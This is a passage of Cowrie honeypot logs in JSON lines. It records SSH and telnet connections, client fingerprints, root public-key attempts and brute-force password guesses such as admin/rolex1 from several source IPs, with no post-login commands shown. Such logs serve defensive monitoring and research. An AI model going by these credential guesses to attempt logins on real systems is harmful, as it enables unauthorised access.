failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.208354Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:79:4d:c0:e7:3c:af:9d:e8:ab:49:93:f3:7e:85:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsLrQ9bVwCvFUKKN0FNqfvV/WUPzBll7y2mFWDFcA0lXvhJOj+Na7GJrKckkorLWHLp2Kua5IXLpUzlxc37aiXWUKXlTiL4sgQ/vVfLVImD2xxgaAxMMzBOvm995MqouA7ch7QxOJApotLM/NIrEn/gk6+lFSEt8d2h0xzj0pqa4BuqrwIQgo5Cx7/5ex90I8iEgmwf89kIggZ+U3JOQQyQoX4ZHuwpC/gpwqAAP2iSDbBvzx++q7NiWmjBOlIUDp/Zb6eaUPFNOcScgmjGPMajVHHsO3T81N/AcPI3hQczby98pZ+5T8ccxn/dmhhkYFc0wXfIijn94zcQnW92lhWhoRSJHFsmwMubjKFgRqndGK0w0q+Nl0GLxGFX2Uvd1PwFMkYZDCbVMjAtoBzJqO/IvyDfcgR4A2zuuOQ0HAkng24Prk0E26O9groPmPt8ATMReYRZDK/toBy4y0iocBWcdWlpvjcCyrDxEBDEgpaMeeypxVAfzpNbchUSdZN9qs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:79:4d:c0:e7:3c:af:9d:e8:ab:49:93:f3:7e:85:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.290624Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:79:4d:c0:e7:3c:af:9d:e8:ab:49:93:f3:7e:85:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsLrQ9bVwCvFUKKN0FNqfvV/WUPzBll7y2mFWDFcA0lXvhJOj+Na7GJrKckkorLWHLp2Kua5IXLpUzlxc37aiXWUKXlTiL4sgQ/vVfLVImD2xxgaAxMMzBOvm995MqouA7ch7QxOJApotLM/NIrEn/gk6+lFSEt8d2h0xzj0pqa4BuqrwIQgo5Cx7/5ex90I8iEgmwf89kIggZ+U3JOQQyQoX4ZHuwpC/gpwqAAP2iSDbBvzx++q7NiWmjBOlIUDp/Zb6eaUPFNOcScgmjGPMajVHHsO3T81N/AcPI3hQczby98pZ+5T8ccxn/dmhhkYFc0wXfIijn94zcQnW92lhWhoRSJHFsmwMubjKFgRqndGK0w0q+Nl0GLxGFX2Uvd1PwFMkYZDCbVMjAtoBzJqO/IvyDfcgR4A2zuuOQ0HAkng24Prk0E26O9groPmPt8ATMReYRZDK/toBy4y0iocBWcdWlpvjcCyrDxEBDEgpaMeeypxVAfzpNbchUSdZN9qs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.294740Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:3e:22:f3:44:67:47:aa:dc:cb:57:dc:a7:b9:45:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuHtK27Qar17rjjeh/d30X7My1tpq6UGpCZqiWiuEvfLts/394F/vUKjcZFb6NJAsgdV//1d3yhDV4zLawW7sQOUYaVEoqeNHHQi3H1pXBYPDo28yTej+d/JzHTDo2cWYdhlYpOw+3fxxWukdbXwQM179icwcuJwgV09VgfNvEoQLjhMi75O4akaCjV/80WkRUU+7WtrQSHmNqKCmEWSiY4CZaga4pj2cTob9djoszlbp7O7saeWJfh9F2Zbl/EqRbPAnx/HRzulJqEWM3wUc1io/gwFQ5etuObfmI39pGUBwU17WkEXhLfTh2V2BbqtZ8q0XpPxBdlvcE4Wt/bprLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:3e:22:f3:44:67:47:aa:dc:cb:57:dc:a7:b9:45:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.377559Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:3e:22:f3:44:67:47:aa:dc:cb:57:dc:a7:b9:45:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuHtK27Qar17rjjeh/d30X7My1tpq6UGpCZqiWiuEvfLts/394F/vUKjcZFb6NJAsgdV//1d3yhDV4zLawW7sQOUYaVEoqeNHHQi3H1pXBYPDo28yTej+d/JzHTDo2cWYdhlYpOw+3fxxWukdbXwQM179icwcuJwgV09VgfNvEoQLjhMi75O4akaCjV/80WkRUU+7WtrQSHmNqKCmEWSiY4CZaga4pj2cTob9djoszlbp7O7saeWJfh9F2Zbl/EqRbPAnx/HRzulJqEWM3wUc1io/gwFQ5etuObfmI39pGUBwU17WkEXhLfTh2V2BbqtZ8q0XpPxBdlvcE4Wt/bprLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.381407Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:7c:e3:1c:19:88:df:50:d5:20:e7:ba:59:44:8a:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYC4FjWVh8ZZBoRHDzPBL4/JvRCsK5EPl8EfSXNVekvRs2elTxbGMWCP26tv5TW0ZMj6sLegc3yhvYUMUAqAJmDgn8ole/27lHzMWWskV22LC7AoCSErWj5/hNkHotMexrWwTb80uGrzkXN/wNpHqL/fWnp9CBq8aO038Mc4Ksox3Pim5A0KFu3dKjjFTDqq2f4YrKvC78L6nj6APN1aM7haj5OrO+DYbJX9WTSZ7gnaR2gNloKuMMrXMYJkKFKnB1q2U+Kwc7dYXWypgc2DJpy72MzouqMnMB1WXISBM9XH8jJZRgD2C1BPvea+uuRzXsjimib8UP6XPXns8XiAADcebEe1u9FaD43oYLA3hVU6SAkn32hZIN58hmR27IvAIu/vxrxhZ6kVgUfct/JEcsjSJKR6/hRL5mCRk2XigEYr/BRgnnFGljr6HHnTkalxhFQOrMsfI2TPDJ35WnuuHk9IPdZBKtYy+QLmLGHJ0b9Yju1Rfvdrw40MJGtMgDWUuG+CZEoCu9XqvDuUVwMf1xWbT2ueDELuxM4e1XKro5BEMMBg3+/mpBNeSaso5sLeFwgrZ7fB0GhtjPYsr1HOjvdar/NkaajC+2CeY2ZGC2UWfwVW7YM8Jvd2KX0Ejp1XFNxDeTDaW0Ju7OjRXFJchwY8BgMdTgcjKcq63ZdG/a1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:7c:e3:1c:19:88:df:50:d5:20:e7:ba:59:44:8a:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.463158Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:7c:e3:1c:19:88:df:50:d5:20:e7:ba:59:44:8a:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYC4FjWVh8ZZBoRHDzPBL4/JvRCsK5EPl8EfSXNVekvRs2elTxbGMWCP26tv5TW0ZMj6sLegc3yhvYUMUAqAJmDgn8ole/27lHzMWWskV22LC7AoCSErWj5/hNkHotMexrWwTb80uGrzkXN/wNpHqL/fWnp9CBq8aO038Mc4Ksox3Pim5A0KFu3dKjjFTDqq2f4YrKvC78L6nj6APN1aM7haj5OrO+DYbJX9WTSZ7gnaR2gNloKuMMrXMYJkKFKnB1q2U+Kwc7dYXWypgc2DJpy72MzouqMnMB1WXISBM9XH8jJZRgD2C1BPvea+uuRzXsjimib8UP6XPXns8XiAADcebEe1u9FaD43oYLA3hVU6SAkn32hZIN58hmR27IvAIu/vxrxhZ6kVgUfct/JEcsjSJKR6/hRL5mCRk2XigEYr/BRgnnFGljr6HHnTkalxhFQOrMsfI2TPDJ35WnuuHk9IPdZBKtYy+QLmLGHJ0b9Yju1Rfvdrw40MJGtMgDWUuG+CZEoCu9XqvDuUVwMf1xWbT2ueDELuxM4e1XKro5BEMMBg3+/mpBNeSaso5sLeFwgrZ7fB0GhtjPYsr1HOjvdar/NkaajC+2CeY2ZGC2UWfwVW7YM8Jvd2KX0Ejp1XFNxDeTDaW0Ju7OjRXFJchwY8BgMdTgcjKcq63ZdG/a1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.466532Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:12:26.549745Z","src_ip":"62.210.38.102","session":"3cec41008b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26268,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c990fb420c2","protocol":"ssh","message":"New connection: 2.57.121.112:26268 (10.17.0.5:22) [session: 6c990fb420c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:20.673055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:20.678101Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:20.779160Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rolex1","message":"login attempt [admin/rolex1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:21.250769Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rola","message":"login attempt [admin/rola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:22.353350Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34566,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b285a5acd5","protocol":"ssh","message":"New connection: 194.59.206.2:34566 (10.17.0.5:22) [session: 10b285a5acd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:23.146808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:23.151351Z","src_ip":"194.59.206.2","session":"10b285a5acd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:23.237774Z","src_ip":"194.59.206.2","session":"10b285a5acd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:23.327888Z","src_ip":"194.59.206.2","session":"10b285a5acd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rodolfo","message":"login attempt [admin/rodolfo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:23.454865Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rockfish","message":"login attempt [admin/rockfish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:24.557822Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"robert3","message":"login attempt [admin/robert3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:25.660259Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:26.765017Z","src_ip":"2.57.121.112","session":"6c990fb420c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":56056,"dst_ip":"10.17.0.5","dst_port":22,"session":"882e98c4ed83","protocol":"ssh","message":"New connection: 141.11.21.145:56056 (10.17.0.5:22) [session: 882e98c4ed83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.248909Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.327612Z","src_ip":"141.11.21.145","session":"882e98c4ed83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":56058,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d430f37b876","protocol":"ssh","message":"New connection: 141.11.21.145:56058 (10.17.0.5:22) [session: 6d430f37b876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.401538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.407860Z","src_ip":"141.11.21.145","session":"6d430f37b876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.484769Z","src_ip":"141.11.21.145","session":"6d430f37b876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lln","password":"123456","message":"login attempt [lln/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:27.714546Z","src_ip":"141.11.21.145","session":"6d430f37b876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:13:28.795084Z","src_ip":"141.11.21.145","session":"6d430f37b876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":14678,"dst_ip":"159.203.135.109","dst_port":23,"session":"8119a760fd4e","protocol":"telnet","message":"New connection: 35.233.84.227:14678 (159.203.135.109:23) [session: 8119a760fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:45.570056Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":14684,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c207cd1663","protocol":"telnet","message":"New connection: 35.233.84.227:14684 (159.203.135.109:23) [session: 01c207cd1663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:45.725795Z"}
{"eventid":"cowrie.session.closed","duration":0.005524635314941406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:45.731184Z","src_ip":"35.233.84.227","session":"01c207cd1663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":14686,"dst_ip":"159.203.135.109","dst_port":23,"session":"f205a013853a","protocol":"telnet","message":"New connection: 35.233.84.227:14686 (159.203.135.109:23) [session: f205a013853a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:45.882998Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.85.249","src_port":51804,"dst_ip":"10.17.0.5","dst_port":23,"session":"650848c89d58","protocol":"telnet","message":"New connection: 177.128.85.249:51804 (10.17.0.5:23) [session: 650848c89d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:51.932104Z"}
{"eventid":"cowrie.session.closed","duration":7.383132696151733,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:14:52.953060Z","src_ip":"35.233.84.227","session":"8119a760fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57484,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf781a9affb","protocol":"telnet","message":"New connection: 35.233.84.227:57484 (159.203.135.109:23) [session: 2bf781a9affb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.039503Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.045658Z","src_ip":"35.233.84.227","session":"2bf781a9affb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.050465Z","src_ip":"35.233.84.227","session":"2bf781a9affb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09658455848693848,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.135975Z","src_ip":"35.233.84.227","session":"2bf781a9affb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf40d851580","protocol":"telnet","message":"New connection: 35.233.84.227:57492 (159.203.135.109:23) [session: 5cf40d851580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.211499Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10bd60a8c3f","protocol":"telnet","message":"New connection: 35.233.84.227:57498 (159.203.135.109:23) [session: f10bd60a8c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.372597Z"}
{"eventid":"cowrie.session.closed","duration":13.579603910446167,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.511581Z","src_ip":"177.128.85.249","session":"650848c89d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57510,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac01988750e","protocol":"telnet","message":"New connection: 35.233.84.227:57510 (159.203.135.109:23) [session: 0ac01988750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.530226Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57512,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd16a1c55808","protocol":"telnet","message":"New connection: 35.233.84.227:57512 (159.203.135.109:23) [session: bd16a1c55808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.694286Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f8a428c73ac","protocol":"telnet","message":"New connection: 35.233.84.227:57518 (159.203.135.109:23) [session: 8f8a428c73ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:05.852780Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57522,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf709604fb3c","protocol":"telnet","message":"New connection: 35.233.84.227:57522 (159.203.135.109:23) [session: bf709604fb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.010404Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57536,"dst_ip":"159.203.135.109","dst_port":23,"session":"3824c33f9ad0","protocol":"telnet","message":"New connection: 35.233.84.227:57536 (159.203.135.109:23) [session: 3824c33f9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.171136Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57546,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcceb66a448f","protocol":"telnet","message":"New connection: 35.233.84.227:57546 (159.203.135.109:23) [session: bcceb66a448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.329323Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.84.227","src_port":57552,"dst_ip":"159.203.135.109","dst_port":23,"session":"809170ce37f6","protocol":"telnet","message":"New connection: 35.233.84.227:57552 (159.203.135.109:23) [session: 809170ce37f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:15:06.488234Z"}
